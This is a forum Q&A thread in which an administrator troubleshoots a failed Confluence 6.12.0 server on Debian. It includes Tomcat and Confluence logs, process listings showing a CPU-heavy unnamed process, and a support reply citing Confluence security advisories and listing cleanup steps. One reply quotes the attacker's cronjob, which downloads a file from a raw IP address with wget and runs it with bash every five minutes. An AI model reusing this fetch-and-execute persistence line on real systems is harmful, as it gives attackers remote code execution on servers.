Confluence stopped working
Asked by Birgit Bacher:

Hi,

I'm really clueless about this.... Today my confluence stopped working. I deployed it on a debian 9 server, there's not much traffic to it. To find out what happened i cleared the log directory and restarted confluence service. But there are no errors in catalina.out, just some strange warnings:

```
18-Apr-2019 14:31:19.966 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.begin [SetPropertiesRule]{Server} Setting property 'debug' to '0' did not find a matching property.
18-Apr-2019 14:31:20.140 WARNING [main] org.apache.catalina.startup.SetAllPropertiesRule.begin [SetAllPropertiesRule]{Server/Service/Connector} Setting property 'debug' to '0' did not find a matching property.
18-Apr-2019 14:31:20.359 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.begin [SetPropertiesRule]{Server/Service/Engine} Setting property 'debug' to '0' did not find a matching property.
18-Apr-2019 14:31:20.380 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.begin [SetPropertiesRule]{Server/Service/Engine/Host} Setting property 'debug' to '0' did not find a matching property.
18-Apr-2019 14:31:20.475 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.begin [SetPropertiesRule]{Server/Service/Engine/Host/Context} Setting property 'debug' to '0' did not find a matching property.
18-Apr-2019 14:31:20.506 WARNING [main] org.apache.tomcat.util.digester.SetPropertiesRule.begin [SetPropertiesRule]{Server/Service/Engine/Host/Context} Setting property 'debug' to '0' did not find a matching property.
18-Apr-2019 14:31:21.099 INFO [main] org.apache.coyote.AbstractProtocol.init Initializing ProtocolHandler ["http-nio-8090"]
18-Apr-2019 14:31:21.125 INFO [main] org.apache.tomcat.util.net.NioSelectorPool.getSharedSelector Using a shared selector for servlet write/read
18-Apr-2019 14:31:21.139 INFO [main] org.apache.catalina.startup.Catalina.load Initialization processed in 1358 ms
18-Apr-2019 14:31:21.154 INFO [main] org.apache.catalina.core.StandardService.startInternal Starting service [Tomcat-Standalone]
18-Apr-2019 14:31:21.154 INFO [main] org.apache.catalina.core.StandardEngine.startInternal Starting Servlet Engine: Apache Tomcat/9.0.11
```

Has anybody a clue what is going on here?

Regards,

Birgit


Answers:
author: Birgit Bacher
body: Figured out i had a bad cronjob with this content:

\*/5 \* \* \* \* /usr/bin/wget -q -O /tmp/seasame <http://51.38.133.232:80> \&\& bash /tmp/seasame

deactivated it, updated confluence and did a malware scan...


author: Birgit Bacher
body: Hi Diego,

Confluence stopped working by itself. As it stopped, there were no users logged on. I can't use confluence at all. The webinterface is giving me an 503 error (but this might be up to apache2 which I use to map confluences 8090 port to port 80) - If I shut off the apache service and connect to confluences webinterface through port 8090 it's not reachable)

After restart the confluence process is running and using quite a bit of cpu but almost no memory:

```
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3750 conflue+ 20 0 404776 10220 0 S 373.1 0.3 10440:14
```

I do not know exactly which Version i have, but the build number is the following:

```
confluence=# select * from CONFVERSION;
confversionid | buildnumber | installdate | versiontag | creationdate | lastmoddate
---------------+-------------+-------------------------+------------+--------------+-------------
524289 | 7901 | 2018-10-06 08:56:16.235 | | |
```

There are no logs written to /var/atlassian/application-data/confluence/logs

Also there are no backups written to /var/atlassian/application-data/confluence/backups anymore since the "crash"

I hope this information helps a bit.

I'm quite a dummy-user and don't know weather my server is infected or not. Could you be so kind to provide some information to me how to check it?

Kind regards,

Birgit

comments: author: Birgit Bacher
body: ok I just found out something new...

I rebooted the server and first confluence seemed to start up normally (note the java process in top):

```
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
561 conflue+ 20 0 0 0 0 Z 200.0 0.0 2:59.87 java
952 postgres 20 0 305148 122188 103464 S 0.3 3.0 0:00.63 postgres
```

but suddenly the processes seems to go wild and the "java" dissappears:

```
 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1071 conflue+ 20 0 404776 10216 0 S 397.0 0.3 2:19.71
```

after that it's not possible to kill this process permanently, another similar process appears with an other pid

this is the output of the atlassian-confluence.log

```
2019-04-20 12:55:36,690 INFO [localhost-startStop-1] [com.atlassian.confluence.lifecycle] contextInitialized Starting Confluence 6.12.0 [build 7901 based on commit hash 04c8b7bf0a5b4889210956b8230224e43d124b25] - synchrony version 2.1.0-master-e100417c
2019-04-20 12:55:41,031 INFO [localhost-startStop-1] [springframework.web.context.ContextLoader] initWebApplicationContext Root WebApplicationContext: initialization started
2019-04-20 12:55:46,839 INFO [localhost-startStop-1] [com.atlassian.confluence.lifecycle] <init> Loading EhCache cache manager
2019-04-20 12:56:03,326 INFO [localhost-startStop-1] [springframework.web.context.ContextLoader] initWebApplicationContext Root WebApplicationContext: initialization completed in 22295 ms
2019-04-20 12:56:04,296 INFO [localhost-startStop-1] [atlassian.plugin.manager.DefaultPluginManager] earlyStartup Plugin system earlyStartup begun
2019-04-20 12:56:30,133 WARN [ThreadPoolAsyncTaskExecutor::Thread 8] [spring.scanner.util.ProductFilterUtil] detectProduct Couldn't detect product, will use ProductFilter.ALL
2019-04-20 12:56:30,453 WARN [ThreadPoolAsyncTaskExecutor::Thread 1] [spring.scanner.util.ProductFilterUtil] detectProduct Couldn't detect product, will use ProductFilter.ALL
2019-04-20 12:56:37,463 WARN [ThreadPoolAsyncTaskExecutor::Thread 15] [plugins.createcontent.extensions.BlueprintModuleDescriptor] init i18n-name-key is a required attribute of <blueprint> for module: com.adaptavist.confluence.contentFormattingMacros:cfm-blueprint
2019-04-20 12:56:48,377 INFO [localhost-startStop-1] [atlassian.plugin.manager.DefaultPluginManager] logTime Plugin system earlyStartup ended
2019-04-20 12:56:48,457 INFO [localhost-startStop-1] [atlassian.plugin.manager.DefaultPluginManager] lateStartup Plugin system lateStartup begun
2019-04-20 12:56:50,562 WARN [AtlassianEvent::CustomizableThreadFactory-1] [persistence.schema.hibernate.HibernateSchemaComparator] lambda$compareTables$0 Schema check for table [EVENTS] encountered an error. Turn debug logging on for stacktrace.
2019-04-20 12:56:50,572 WARN [AtlassianEvent::CustomizableThreadFactory-1] [persistence.schema.hibernate.HibernateSchemaComparator] lambda$compareTables$0 Schema check for table [SECRETS] encountered an error. Turn debug logging on for stacktrace.
2019-04-20 12:56:50,574 WARN [AtlassianEvent::CustomizableThreadFactory-1] [persistence.schema.hibernate.HibernateSchemaComparator] lambda$compareTables$0 Schema check for table [SNAPSHOTS] encountered an error. Turn debug logging on for stacktrace.
2019-04-20 12:56:51,218 WARN [ThreadPoolAsyncTaskExecutor::Thread 12] [client.eventfilter.whitelist.AnalyticsWhitelistModuleDescriptor] readPluginWhitelist No whitelist resource file found at [mediaviewer/lib/analytics-whitelist.json] in plugin [com.atlassian.confluence.plugins.confluence-previews] (bundle entry not found)
2019-04-20 12:56:51,219 WARN [ThreadPoolAsyncTaskExecutor::Thread 12] [client.eventfilter.whitelist.AnalyticsWhitelistModuleDescriptor] readPluginWhitelist No whitelist resource file found at [mediaviewer/lib/analytics-whitelist.json] in plugin [com.atlassian.confluence.plugins.confluence-previews] (null InputStream)
2019-04-20 12:56:52,461 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'contentEntityManager' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:52,463 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'likeManager' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:52,463 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'commentManager' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:52,464 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'permissionManager' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:52,464 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'spaceLogoManager' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:52,464 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'spaceManager' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:52,464 WARN [ThreadPoolAsyncTaskExecutor::Thread 2] [beans.factory.support.DefaultListableBeanFactory] registerBeanDefinition Overriding user-defined bean definition for bean 'userAccessor' with a framework-generated bean definition: replacing [Generic bean: class [com.atlassian.plugin.osgi.bridge.external.HostComponentFactoryBean]; scope=; abstract=false; lazyInit=true; autowireMode=0; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null; defined in URL [bundle://266.0:0/META-INF/spring/atlassian-plugins-host-components.xml]] with [Root bean: class [org.eclipse.gemini.blueprint.service.importer.support.OsgiServiceProxyFactoryBean]; scope=; abstract=false; lazyInit=false; autowireMode=3; dependencyCheck=0; autowireCandidate=true; primary=false; factoryBeanName=null; factoryMethodName=null; initMethodName=null; destroyMethodName=null]
2019-04-20 12:56:53,160 INFO [ThreadPoolAsyncTaskExecutor::Thread 9] [plugins.synchrony.bootstrap.DefaultSynchronyProxyMonitor] <init> synchrony-proxy healthcheck url: http://127.0.0.1:8090/synchrony-proxy/healthcheck
2019-04-20 12:57:02,858 INFO [localhost-startStop-1] [atlassian.plugin.manager.DefaultPluginManager] logTime Plugin system lateStartup ended
2019-04-20 12:57:03,279 INFO [lifecycle:thread-1] [plugins.synchrony.bootstrap.DefaultSynchronyProcessManager] startup Starting Synchrony and enabling Collaborative Editing
2019-04-20 12:57:03,288 WARN [lifecycle:thread-16] [expose.jmx.schedule.JmxInstrumentSchedulerImpl] onStart atlassian-instrumentation-jmx expose scheduler started.
2019-04-20 12:57:03,617 WARN [lifecycle:thread-8] [hql.internal.ast.HqlSqlWalker] generatePositionalParameter [DEPRECATION] Encountered positional parameter near line 1, column 93 in HQL: [FROM com.atlassian.confluence.impl.schedule.caesium.SchedulerClusteredJob t WHERE t.jobId = ?]. Positional parameter are considered deprecated; use named parameters or JPA-style positional parameters instead.
2019-04-20 12:59:19,242 INFO [localhost-startStop-1] [com.atlassian.confluence.lifecycle] contextInitialized Starting Confluence 6.12.0 [build 7901 based on commit hash 04c8b7bf0a5b4889210956b8230224e43d124b25] - synchrony version 2.1.0-master-e100417c
2019-04-20 12:59:23,447 INFO [localhost-startStop-1] [springframework.web.context.ContextLoader] initWebApplicationContext Root WebApplicationContext: initialization started
2019-04-20 12:59:28,944 INFO [localhost-startStop-1] [com.atlassian.confluence.lifecycle] <init> Loading EhCache cache manager
2019-04-20 12:59:44,021 INFO [localhost-startStop-1] [springframework.web.context.ContextLoader] initWebApplicationContext Root WebApplicationContext: initialization completed in 20573 ms
2019-04-20 12:59:44,690 INFO [localhost-startStop-1] [atlassian.plugin.manager.DefaultPluginManager] earlyStartup Plugin system earlyStartup begun
```

it seems to stop writing suddenly

but obviously there is version 6.12.0 running


author: Diego
body: Hello there!

So, Birgit, as I understand your Confluence went down with no changes to it's environment. Is that correct?

Could you check if a few thing for us?
> 1. Does your instance keep running normally after you restart it?
> 2. Is CPU usage high in your server?
> 3. Was some kind of new application installed to your instance?
> 4. Are you currently able to use your instance as expected?
> 5. What is your Confluence version?

Recently, we had two CVEs, so it is really worth checking if you were not affected by them:

**[Confluence Security Advisory - 2019-03-20 \| March 2019 Confluence Server Advisory - WebDAV and Widget Connector vulnerabilities](https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html)**

**[Confluence Security Advisory - 2019-04-17 \| Confluence - Path traversal vulnerability - CVE-2019-3398](https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-10-968660855.html)**

Since we do not know if you are affected by the CVEs, I think it is adequate to tell you that you could, if needed:  

1. Kill malicious processes
2. Clean up your crontab
3. Upgrade Confluence
4. Use a malware scanner to find remaining malware traces

Looking forward to your reply!

comments: author: Birgit Bacher
body: Hi,

I accidentially wrote my reply as an answer to my own question. Could you be so kind and look at it?

Kind regards,

Birgit


Tags: confluence-server

server